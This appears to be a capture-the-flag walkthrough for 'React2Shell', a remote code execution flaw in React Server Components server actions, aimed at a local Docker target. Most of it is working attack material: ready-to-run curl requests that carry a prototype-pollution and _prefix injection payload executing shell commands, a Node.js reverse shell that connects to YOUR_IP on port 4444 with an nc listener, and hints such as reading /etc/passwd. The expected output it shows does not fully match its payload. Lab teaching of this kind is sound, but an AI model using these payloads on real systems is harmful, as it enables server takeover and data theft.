This guide is designed to help you understand the vulnerability, not just run a script. We will break down the attack into logical steps.
First, ensure your target is running (see README).
Open it in your browser: http://localhost:5555
We want to achieve Remote Code Execution (RCE) on the server. The application seems simple, but it processes Server Actions using a serialized format (React Server Components).
This application uses a vulnerable version of a library that allows insecure deserialization or eval-like behavior when processing specific multipart forms.
The vulnerability lies in how the server handles the _response field in a JSON payload. If we can inject a _prefix property, the server will execute it as code.
We need to construct a multipart request with this JSON structure:
{
"_response": {
"_prefix": "YOUR_MALICIOUS_NODEJS_CODE"
}
}We will use curl to send this request.
💡 Tooling Note:
- What is
curl? It's a command-line tool that lets us "talk" to servers directly, without using a graphical browser like Chrome.- Where do I run it? You must open your system's terminal (Terminal on Linux/Mac, PowerShell/CMD on Windows). This is NOT run in the browser console.
- Do I need to install it?
curlcomes pre-installed on most systems. Typecurl --versionin your terminal to check. If you see a version number, you're good to go!
Do not run this in your terminal!
This is the JavaScript code content that we will embed inside our curl request. We are analyzing it here to understand what the server will execute.
We want the server to perform a simple math calculation: 1337 * 2.
The code we are injecting looks like this:
/* THIS CODE GOES INSIDE THE CURL (Payload) */
var output = process.mainModule.require('child_process').execSync('echo $((1337*2))').toString().trim();Besides running the calculation, we need the server to send the result back to us. We wrap the code above to "throw" an error containing our result:
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${output};307;`
});Now, let's put it all together into the final curl command.
Location will contain before you run it!
Copy and run this in your terminal:
curl -i -X POST http://localhost:5555/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-d $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((1337*2))\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n'Look at the output. You should see a 303 See Other or 307 Temporary Redirect.
Start the CTF challenge target (make sure to use --build to install netcat):
cd ctf_challenge
docker-compose up --buildCheck the headers:
X-Action-Redirect: /dashboard?session=2674&admin=true
Location: /dashboard?session=2674- What is
2674? -> It is the result of1337 * 2. - What does this mean? -> The server executed our math operation!
- What else could you run? ->
whoami,ls,cat /etc/passwd...
Congratulations! You have successfully analyzed and exploited React2Shell. 🚩
Want to get a full interactive shell? Since we installed netcat in the container (just for you 😉), let's get a Reverse Shell.
Open a new terminal window and listen on port 4444:
nc -lvnp 4444We need to tell the server to connect back to your computer.
Important: You need your computer's IP address reachable from Docker (try hostname -I or check your network settings). Let's say it's YOUR_IP.
The Javascript code to inject is a bit more complex because we can't rely on netcat:
var net = process.mainModule.require('net');
var cp = process.mainModule.require('child_process');
var sh = cp.spawn('/bin/sh', []);
var client = new net.Socket();
client.connect(4444, 'YOUR_IP', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});We will use a native Node.js payload for the reverse connection. This is more robust and doesn't rely on specific netcat versions installed.
Here is the full command (replace YOUR_IP):
curl -i -X POST http://localhost:5555/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-d $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var net=process.mainModule.require(\'net\'),cp=process.mainModule.require(\'child_process\'),sh=cp.spawn(\'/bin/sh\',[]);var client=new net.Socket();client.connect(4444,\'YOUR_IP\',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n'If successful, check your listener terminal (nc -lvnp 4444). You should have a shell!
Try typing: whoami -> should return root.